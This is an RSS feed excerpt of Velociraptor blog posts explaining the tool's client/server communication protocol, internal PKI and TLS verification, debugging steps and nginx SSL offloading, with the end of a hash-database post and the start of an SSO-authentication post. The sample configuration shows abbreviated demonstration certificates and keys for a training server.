&lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The local hash database is simply a SQLite file maintained by the VQL query. As such I can easily collect this file with a hunt if I wanted to archive the hash database periodically from all my endpoints.&lt;/p&gt;&#xA;&lt;p&gt;Collecting the &lt;strong&gt;Windows.Forensics.LocalHashes.Glob&lt;/strong&gt; artifact will populate the local hash database by simply crawling a directory, hashing all files inside it and populated the database — this is useful to pre-populate the database with hashes of files created before Velociraptor was installed.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor brings unprecedented visibility to endpoint machine states using state of the art forensic capabilities. In this post we saw how parsing the USN Journal allows Velociraptor to gather information about past filesystem activity. We also saw how detection and monitoring queries can be used to respond to file modification or creation in near real time.&lt;/p&gt;&#xA;&lt;p&gt;Finally we saw this capability put into practice by maintaining a local hash database which can be queried on demand to quickly answer questions like &lt;em&gt;which machine in my fleet contain this hash?&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;To play with this new feature yourself, take Velociraptor for a spin! It is a available on &lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt;GitHub&lt;/a&gt; under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor Communications</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/</link>
      <pubDate>Sun, 27 Sep 2020 01:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/../../img/0qkAnwMlxrKGQR6ke?width=600px&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;You might have heard that Velociraptor allows you to quickly query endpoint state for rapid response and monitoring of many thousands of devices across the internet. Unlike some other tools, Velociraptor’s communication is scalable, secure and instantaneous.&lt;/p&gt;&#xA;&lt;p&gt;Many people ask me about the client/server communication protocol. The &lt;a href=&#34;https://www.velocidex.com/docs/getting-started/stand_alone/&#34; target=&#34;_blank&#34; &gt;Velociraptor documentation&lt;/a&gt; simply states that communications is encrypted over a TLS connection but there is more to it than that.&lt;/p&gt;&#xA;&lt;p&gt;In this post I would like to delve into the low level details of how clients securely communicate with the server and cover some common deployment scenarios. By understanding exactly how this works we will gain insight into debugging communication problems and enabling more sophisticated deployment scenarios.&lt;/p&gt;&#xA;&lt;h3 id=&#34;velociraptors-config-file&#34;&gt;Velociraptor’s config file&lt;/h3&gt;&#xA;&lt;p&gt;In the following discussion we will refer to a typical Velociraptor configuration file as generated by the command&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;velociraptor config generate -i&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;For this example we select a typical self-signed deployment.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;version:&#xA;  name: velociraptor&#xA;  version: 0.5.0&#xA;  commit: 6fc96b5f&#xA;  build_time: &amp;quot;2020-09-22T18:21:45+10:00&amp;quot;&#xA;Client:&#xA;  server_urls:&#xA;  - https://test.velocidex-training.com:8000/&#xA;  ca_certificate: |&#xA;    -----BEGIN CERTIFICATE-----&#xA;    MIIDKzCCAhOgAwIBAgIRAJ6I1o7Yv+8BqsEF4oLIhV4wDQYJKoZIhvcNAQELBQAw&#xA;    GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTIwMDkyNzEyNTUzN1oXDTMw&#xA;    GwbIKrNW8iIkxQT4iKMHgF4+vGn4YteNpysatCGZtSHWRcvUB+cnDYv+kbch70dx&#xA;    zF54976UPzOCv+xN7blJFMugWnCHPBOnURaBvQ4cPOdtWv3BgtbF+3EPiaKf9EE=&#xA;    -----END CERTIFICATE-----&#xA;  nonce: Imxp3zf+GM4=&#xA;  use_self_signed_ssl: true&#xA;  pinned_server_name: VelociraptorServer&#xA;API:&#xA;GUI:&#xA;  bind_address: 127.0.0.1&#xA;  bind_port: 8889&#xA;  base_path: /gui&#xA;  gw_certificate: |&#xA;    -----BEGIN CERTIFICATE-----&#xA;    wpgSJX5UXEJUHhlRLWenVNTrRS8jmmjgw6ovnZKosahV/skItKEsVGQByi1x32zW&#xA;    FwpP3uggQlfSpgIufr2n86Jxu9eGwdLUIrAq8crZXuZkBQPONOWz3yTF3fuhy9Zr&#xA;    MBjRGfI5jEPkoIVkVv4UXWfmKuCSoNJ17HVa2GRwOojW8qZvEDTJSSRn2xJb0lkU&#xA;    pvrd4AJ3gBePJtF/+oQOR08=&#xA;    -----END CERTIFICATE-----&#xA;  gw_private_key: |&#xA;    -----BEGIN RSA PRIVATE KEY-----&#xA;    MIIEpAIBAAKCAQEAptwLTXopCLWD483r9EWfn8YbxXiaxjvhSVc9MWxk7yBEvYYa&#xA;    LTHjtwMhlh1I1YVNr1MH4GAoTXMASJsscLwEVol200tOGLVfb2I0uGVmunkjXXOh&#xA;    eFCrGdIYJFAwhj4USZBsby5olORTHw8rBlvVvK+NieRptpg+bj+o23Xw8uryAotw&#xA;    3InWtyaNQd+UEXqaaf6dnStYhX/CFJrudOobJHgiJ7cB33QG3nvZxg==&#xA;    -----END RSA PRIVATE KEY-----&#xA;CA:&#xA;  private_key: |&#xA;    -----BEGIN RSA PRIVATE KEY-----&#xA;    MIIEpQIBAAKCAQEA3AGxHT80+B70+mtjj08njg9Se0c02K9qkcrTiy0knJEf7QpS&#xA;    s4K5MQG22kxreW3sRXcJlVYa0MgrDCZRJjtGn8Fw1Zc3f28KGcyTqWAKO0xiQeVR&#xA;    4+JQQ3INuNuGkCjWAxMj2p8wh23vsCWLWjUsZsD17uzqactTpr0gQQRGiI2sx/On&#xA;    Q0hF/m5+o9f3j18kK3sQsOaZv/WRwYgzEZZVgeLH+Z1CFUaaAZZeR38=&#xA;    -----END RSA PRIVATE KEY-----&#xA;Frontend:&#xA;  hostname: test.velocidex-training.com&#xA;  bind_address: 0.0.0.0&#xA;  bind_port: 8000&#xA;  certificate: |&#xA;    -----BEGIN CERTIFICATE-----&#xA;    MIIDGDCCAgCgAwIBAgIRAOXGwSQ8EzUy74lzrRtZFjYwDQYJKoZIhvcNAQELBQAw&#xA;    GjEYMBYGA1UEChMPVmVsb2NpcmFwdG9yIENBMB4XDTIwMDkyNzEyNTUzN1oXDTIx&#xA;   yxHjv87Dvl9UmaaQljXfUxsxgjzWbCCvRD4ohNJoAcfS296CeUmvD31uVLR3Pbor&#xA;    dcxFS4Nm/yOLARa9HVwawVFRoIQm/SG0oQwe2Bres2NnOGDu5xVQzHNGnqU1c7g3&#xA;    GXTpLdDYULsHtfCh2PQZ9IKAFeCPxmu5hS+qmw==&#xA;    -----END CERTIFICATE-----&#xA;  private_key: |&#xA;    -----BEGIN RSA PRIVATE KEY-----&#xA;    MIIEowIBAAKCAQEAm289U7G6J0DIAmGqs9YN+NeF3odwcfFtp4YLASkud1r2p6t6&#xA;    2DALF68hDqbSpR2FWsHRyFab5lSwI/kLsamGxBfLMVzeGkVQAXgGDzRxTRW/esa3&#xA;    wpFwq5rJw8dDivYXK2PPY0xxBeznsxc//2/WgGp3gHmtfqRh0mP2uk/OZ323oiSK&#xA;    rlJu+Ep6R4yBnxn+beeb+duXXuAGXS5CAdGXrMimrJYLgX4Wx7Ag&#xA;    -----END RSA PRIVATE KEY-----&#xA;  max_upload_size: 10485760&#xA;  dyn_dns: {}&#xA;  default_client_monitoring_artifacts:&#xA;  - Generic.Client.Stats&#xA;  run_as_user: velociraptor&#xA;  expected_clients: 10000&#xA;  GRPC_pool_max_size: 100&#xA;  GRPC_pool_max_wait: 60&#xA;Datastore:&#xA;  implementation: FileBaseDataStore&#xA;  location: /opt/velociraptor&#xA;  filestore_directory: /opt/velociraptor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h3 id=&#34;communication-overview&#34;&gt;Communication overview&lt;/h3&gt;&#xA;&lt;p&gt;Clients (Velociraptor instances running on endpoints) connect to the server over the http protocol, typically embedded within a TLS connection. Although Velociraptor shares the same communication protocol as was used in the GRR project, it was enhanced for Velociraptor’s use to be more secure and efficient.&lt;/p&gt;&#xA;&lt;h3 id=&#34;velociraptors-internal-pki&#34;&gt;Velociraptor’s internal PKI&lt;/h3&gt;&#xA;&lt;p&gt;Every Velociraptor deployments creates an internal PKI which underpins it. The configuration wizard creates an internal CA with an X.509 certificate and a private key. This CA is used to:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Create initial server certificates and any additional certificates for key rotation.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;CA public certificate is embedded in the client’s configuration and is used to verify server communications.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The CA is used to create API keys for programmatic access. The server is then able to verify API clients.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The configuration file contains the CA’s X.509 certificate in the &lt;strong&gt;Client.ca_certificate&lt;/strong&gt; parameter (it is therefore embedded in the client configuration). The private key is contained in the &lt;strong&gt;CA.private_key&lt;/strong&gt; parameter.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices tip&#34;&gt;&#xA;  &lt;div heading=&#34;tip&#34;&gt;&lt;p&gt;In a secure installation you should remove the &lt;strong&gt;CA.private_key&lt;/strong&gt; section from the server config and keep it offline. You only need it to create new API keys using the &lt;em&gt;velociraptor config api_client&lt;/em&gt; command, and the server does not need it in normal operations.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h3 id=&#34;messages&#34;&gt;Messages&lt;/h3&gt;&#xA;&lt;p&gt;Clients and servers communicate by sending each other messages (which are simply protocol buffers), for example, a message may contain VQL queries or result sets. Messages are collected into a list and sent in a single POST operation in a &lt;strong&gt;MessageList&lt;/strong&gt; protobuf. This protobuf is encrypted using a session key with a symmetric cipher (&lt;code&gt;aes_128_cbc&lt;/code&gt;). The session key is chosen by the sending party and is written into an encrypted &lt;strong&gt;Cipher&lt;/strong&gt; protobuf and sent along with each message.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/../../img/1ntQkR2sRm8mIg5vkYjngEg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This symmetric key is encoded in a &lt;strong&gt;Cipher Properties&lt;/strong&gt; protobuf which is encrypted in turn using the receiving party’s public key and signed using the sending party’s private key.&lt;/p&gt;&#xA;&lt;h3 id=&#34;key-caching&#34;&gt;Key caching&lt;/h3&gt;&#xA;&lt;p&gt;The encrypted cipher is sent with each message and contains an encrypted version of the same session key. This means that it is always possible to derive the session key from each post message by performing RSA decrypt/verify operations, but having decoded the symmetric key once — it is possible to cache it for the remainder of the session. This avoids expensive RSA operations — as long as the server communicated with the client recently, the symmetric key will be cached and can be reused.&lt;/p&gt;&#xA;&lt;p&gt;On a loaded server you might notice CPU utilization spikes for a few seconds after the system starts up, as the server unlocks the session keys from incoming clients, but after that the server should not need to perform many RSA operations and CPU load should be low since most session keys are cached in memory.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Frontend.expected_clients&lt;/strong&gt; setting controls the size of the memory cache of session keys. If this is too small, keys will be evicted from cache and CPU load will rapidly rise as the server is forced to do more RSA operations to decrypt client messages. You should increase this value to reflect how many clients you expect to be active at the same time.&lt;/p&gt;&#xA;&lt;h2 id=&#34;http-protocol&#34;&gt;HTTP protocol&lt;/h2&gt;&#xA;&lt;p&gt;In the last section we saw that Velociraptor messages are both signed and encrypted by the internal deployment CA. But how are these messages exchanged over the internet?&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor uses HTTPS POST messages to deliver message sets to the server. The server in turn sends messages to the client in the body of the POST request. The client connects to one of the server URLs provided in the &lt;strong&gt;Client.server_urls&lt;/strong&gt; setting in its config file.&lt;/p&gt;&#xA;&lt;p&gt;Before the client communicates with the server, the client must verify it is actually talking with the correct server. This happens at two levels:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;If the URL is a HTTPS URL then the TLS connection needs to be verified&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The client will fetch the url /server.pem to receive the server’s internal certificate. This certificate must be verified by the embedded CA.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Note that this verification is essential in order to prevent the client from accidentally talking with captive portals or MITM proxies.&lt;/p&gt;&#xA;&lt;h3 id=&#34;tls-verification&#34;&gt;TLS verification&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor currently supports 2 modes for deployment via the config wizard:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Self-signed mode uses internal CAs for the TLS certificates. The client knows it is in self-signed mode if the &lt;strong&gt;Client.use_self_signed_ssl&lt;/strong&gt; flag is true.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Proper certificates minted by Let’s encrypt.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Velociraptor verifies self-signed TLS certificates using its built in CA. This essentially pins the server’s certificate inside the client — even if a MITM was able to mint another certificate (even if it was trusted by the global roots!) it would not be valid since it was not issued by Velociraptor’s internal CA which is the only CA we trust in this mode! In this way self-signed mode is more secure than use a public CA.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Client.pinned_server_name&lt;/strong&gt; specifies the common name of the server (or DNS name in the Server Alternate Name (SAN) field). The client verifies that the certificate is correct &lt;strong&gt;AND&lt;/strong&gt; that the name is the same as the pinned name. You typically do not need to change this setting.&lt;/p&gt;&#xA;&lt;p&gt;If the client is not in self-signed mode (i.e. &lt;strong&gt;Client.use_self_signed_ssl&lt;/strong&gt; is false or not present), it expects to verify TLS connections using the system’s root certificate store. In this configuration, Velociraptor is susceptible to a MITM SSL inspection proxy, and we must rely on the internal encryption mechanism as described in the previous section to protect communications.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;: In practice we find that often customer networks do contain SSL inspection proxies and using self-signed certificates breaks communications altogether. We typically prefer to deploy Let’s Encrypt certificates for reliability and better interoperability.&lt;/p&gt;&#xA;&lt;h3 id=&#34;debugging-client-communications&#34;&gt;Debugging client communications&lt;/h3&gt;&#xA;&lt;p&gt;Now that we have an understanding on the low level communication mechanism, let’s try to apply our understanding to debugging common deployment issues.&lt;/p&gt;&#xA;&lt;p&gt;If the client does not appear to properly connect to the server, the first thing is to run it manually (using the &lt;em&gt;velociraptor client -v&lt;/em&gt; command):&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/../../img/1TOeyrCcX69mtUdO8E4ZK9g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above example, I ran the client manually with the -v switch. I see the client starting up and immediately trying to connect to its URL (in this case &lt;a href=&#34;https://test.velocidex-training.com/&#34; target=&#34;_blank&#34; &gt;https://test.velocidex-training.com/&lt;/a&gt; ) However this fails and the client will wait for a short time before retrying to connect again.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/../../img/1IzCgKdN28sjntuxd9mUJew.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;A common problem here is network filtering making it impossible to reach the server. You can test this by simply running curl with the server’s URL.&lt;/p&gt;&#xA;&lt;p&gt;Once you enable connectivity, you might encounter another problem&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/../../img/1p3MPNfTbXBzNMs-X4yv4SA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;Unable to parse PEM&lt;/strong&gt; message indicates that the client is trying to fetch the &lt;strong&gt;server.pem&lt;/strong&gt; file but it is not able to validate it. This often happens with captive portal type of proxies which interfere with the data transferred. It can also happen if your DNS setting point to a completely different server.&lt;/p&gt;&#xA;&lt;p&gt;We can verify the &lt;strong&gt;server.pem&lt;/strong&gt; manually by using curl (note that when using self-signed mode you might need to provide curl with the -k flag to ignore the certificate errors):&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/../../img/1P9W4CnX9qNLGiRgnHGyLAw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Note that the &lt;strong&gt;server.pem&lt;/strong&gt; is always signed by the velociraptor internal CA in all deployment modes (even with lets encrypt). You can view the certificate details by using openssl:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sh&#34;&gt;curl https://test.velocidex-training.com/server.pem | openssl x509 -text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;ssl-offloading&#34;&gt;SSL Offloading&lt;/h2&gt;&#xA;&lt;p&gt;The Velociraptor server is very fast and can typically handle many thousands of clients connected at the same time. One of the largest limitations though is SSL processing. Typically SSL operations can take a significant amount of CPU resources in performing cryptography (we noted previously that Velociraptor’s own cryptography can be cached and therefore usually does not use much CPU).&lt;/p&gt;&#xA;&lt;p&gt;Once approach to help scalability is to offload SSL processing to special reverse proxies. Typically these can use hardware cryptography acceleration to offload crypto from the CPU.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/../../img/1ppLjm2qy0pRt3RsDVKDDWA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In this example, we will show how nginx can be used to terminate the TLS connections and then forward plain HTTP connections to the Velociraptor server (Many cloud provides also offer a cloud version of an SSL load balancer). This setup is also suitable if you want to use standard certificates (i.e. not Let’s Encrypt ones).&lt;/p&gt;&#xA;&lt;p&gt;First I will install nginx according to any number of tutorials on the net (for &lt;a href=&#34;https://www.digitalocean.com/community/tutorials/how-to-secure-nginx-with-let-s-encrypt-on-ubuntu-18-04&#34; target=&#34;_blank&#34; &gt;this&lt;/a&gt; or &lt;a href=&#34;https://www.nginx.com/blog/using-free-ssltls-certificates-from-lets-encrypt-with-nginx/&#34; target=&#34;_blank&#34; &gt;this&lt;/a&gt;). My config file is as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;server {&#xA;     server_name test.velocidex-training.com;&#xA;     location /gui {&#xA;          proxy_pass http://127.0.0.1:8889/gui;&#xA;          proxy_redirect     off;&#xA;          proxy_set_header   Host $host;&#xA;     }&#xA;&#xA;     location / {&#xA;         proxy_pass http://127.0.0.1:8000;&#xA;     }&#xA;&#xA;    listen [::]:443 ssl ipv6only=on; # managed by Certbot&#xA;    listen 443 ssl; # managed by Certbot&#xA;    ssl_certificate /etc/letsencrypt/live/test.velocidex-training.com/fullchain.pem; # managed by Certbot&#xA;    ssl_certificate_key /etc/letsencrypt/live/test.velocidex-training.com/privkey.pem; # managed by Certbot&#xA;    include /etc/letsencrypt/options-ssl-nginx.conf; # managed by Certbot&#xA;    ssl_dhparam /etc/letsencrypt/ssl-dhparams.pem; # managed by Certbot&#xA;&#xA;}&#xA;server {&#xA;    if ($host = test.velocidex-training.com) {&#xA;        return 301 https://$host$request_uri;&#xA;    } # managed by Certbot&#xA;&#xA;    listen 80;&#xA;    listen [::]:80;&#xA;&#xA;    server_name test.velocidex-training.com;&#xA;    return 404; # managed by Certbot&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I am using certbot to manage the lets encrypt certificates and I have two main routes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;URLs starting with &lt;strong&gt;/gui/&lt;/strong&gt; will be redirected to the Velociraptor GUI port (by default port 8889) using plain HTTP.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;All other URLs will be redirected to the frontend port (port 8000) using plain http.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now I need to make Velociraptor listen on plain http instead of the default TLS. I do this simply by adding the &lt;strong&gt;use_plain_http: true&lt;/strong&gt; flag both to the GUI and Frontend sections.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-09-28-velociraptor-network-communications-30568624043a/../../img/19YhBBqOhnLVanACm3Vdbog.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;I also specify the GUI to listen on the path starting with “/gui” instead of the root — this allows nginx to proxy the GUI at a different URL to the default.&lt;/p&gt;&#xA;&lt;p&gt;On the client’s side, the server appears to be a proper SSL server. The client needs to connect to nginx which will present a valid certificate. Therefore the client needs to specify &lt;strong&gt;use_self_signed_ssl: false&lt;/strong&gt; (or omit it) and also specify a https URL as the server’s location (i.e. &lt;strong&gt;Client.server_urls: [https://test.velocidex-training.com/]&lt;/strong&gt;).&lt;/p&gt;&#xA;&lt;h2 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h2&gt;&#xA;&lt;p&gt;We have seen that Velociraptor utilizes its own PKI to secure client/server communication. This PKI is used both to prevent interception of messages as well as preventing messages from being forged. The server verifies the client the message came from and the client verifies the server before it connects to it.&lt;/p&gt;&#xA;&lt;p&gt;In addition, Velociraptor uses standard TLS communications to deliver messages using POST requests. TLS connections can either be self-signed (but pinned) or use public CA PKI. Using a standard network protocol allows Velociraptor to easily fit into any modern corporate network (which might include SSL interception proxies etc).&lt;/p&gt;&#xA;&lt;p&gt;By understanding how the communication takes place, we saw how we can debug network problems and even configure a reverse proxy for TLS offloading — an important feature to be able to scale even higher.&lt;/p&gt;&#xA;&lt;p&gt;If you are interested in learning more about Velociraptor, check out our courses on &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/training/&lt;/a&gt; or join us on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Velociraptor SSO Authentication</title>
      <link>https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/</link>
      <pubDate>Sun, 16 Aug 2020 01:38:44 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2020/2020-08-17-velociraptor-sso-authentication-6dd68d46dccf/../../img/1LYHMWBm-PIb4rrMurPgAUA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The Velociraptor GUI allows administrators and DFIR team members to rapidly respond and hunt across their entire deployment in seconds. This is a powerful capability, and must be adequately protected.&lt;/p&gt;&#xA;&lt;h3 id=&#34;modes-of-authentication&#34;&gt;Modes of authentication&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor supports two modes of authentication:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Basic authentication&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Single Sign On using third party OAuth2 logon flow.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In the basic authentication mode, GUI users are added by the administrator and given passwords. When a user logs into the GUI, their browser prompts them to enter a username and password, and the password hashes are checked against those hashes stored in the database.&lt;/p&gt;&#xA;&lt;p&gt;This traditional authentication flow is simple to use and implement but has a number of shortfalls — the main one being that the user needs to remember yet another password for Velociraptor and so they are likely to reuse an existing password. Modern secure applications also use 2 factor authentication as an additional security mechanism with potentially complex authentication schemes (e.g. secure token).&lt;/p&gt;&#xA;&lt;h3 id=&#34;oauth2-flow&#34;&gt;OAuth2 flow&lt;/h3&gt;&#xA;&lt;p&gt;Velociraptor supports delegating the authentication to an identity provider (Currently GitHub, Microsoft or Google and potentially many others in future). This means that Velociraptor never gets to see a user’s password or actually logs them in at all — Velociraptor relies on the OAuth2 provider to assert that the user authenticated correctly (and potentially used the required 2FA method). There are many resources about OAuth2 for example t&lt;a href=&#34;https://www.digitalocean.com/community/tutorials/an-introduction-to-oauth-2&#34; target=&#34;_blank&#34; &gt;his&lt;/a&gt; or the &lt;a href=&#34;https://tools.ietf.org/html/rfc6749&#34; target=&#34;_blank&#34; &gt;RFC6749&lt;/a&gt; also has a lot of details.&lt;/p&gt;&#xA;&lt;p&gt;While the OAuth2 protocol allows an application to request access to different resources owned by the user, Velociraptor only requests basic access to their email address — Velociraptor associates ACL policies with the user’s email address.&lt;/p&gt;&#xA;&lt;p&gt;The following steps are performed to log a user into the Velociraptor GUI:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The User’s browser makes a request to the Velociraptor GUI&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Velociraptor redirects the browser to the 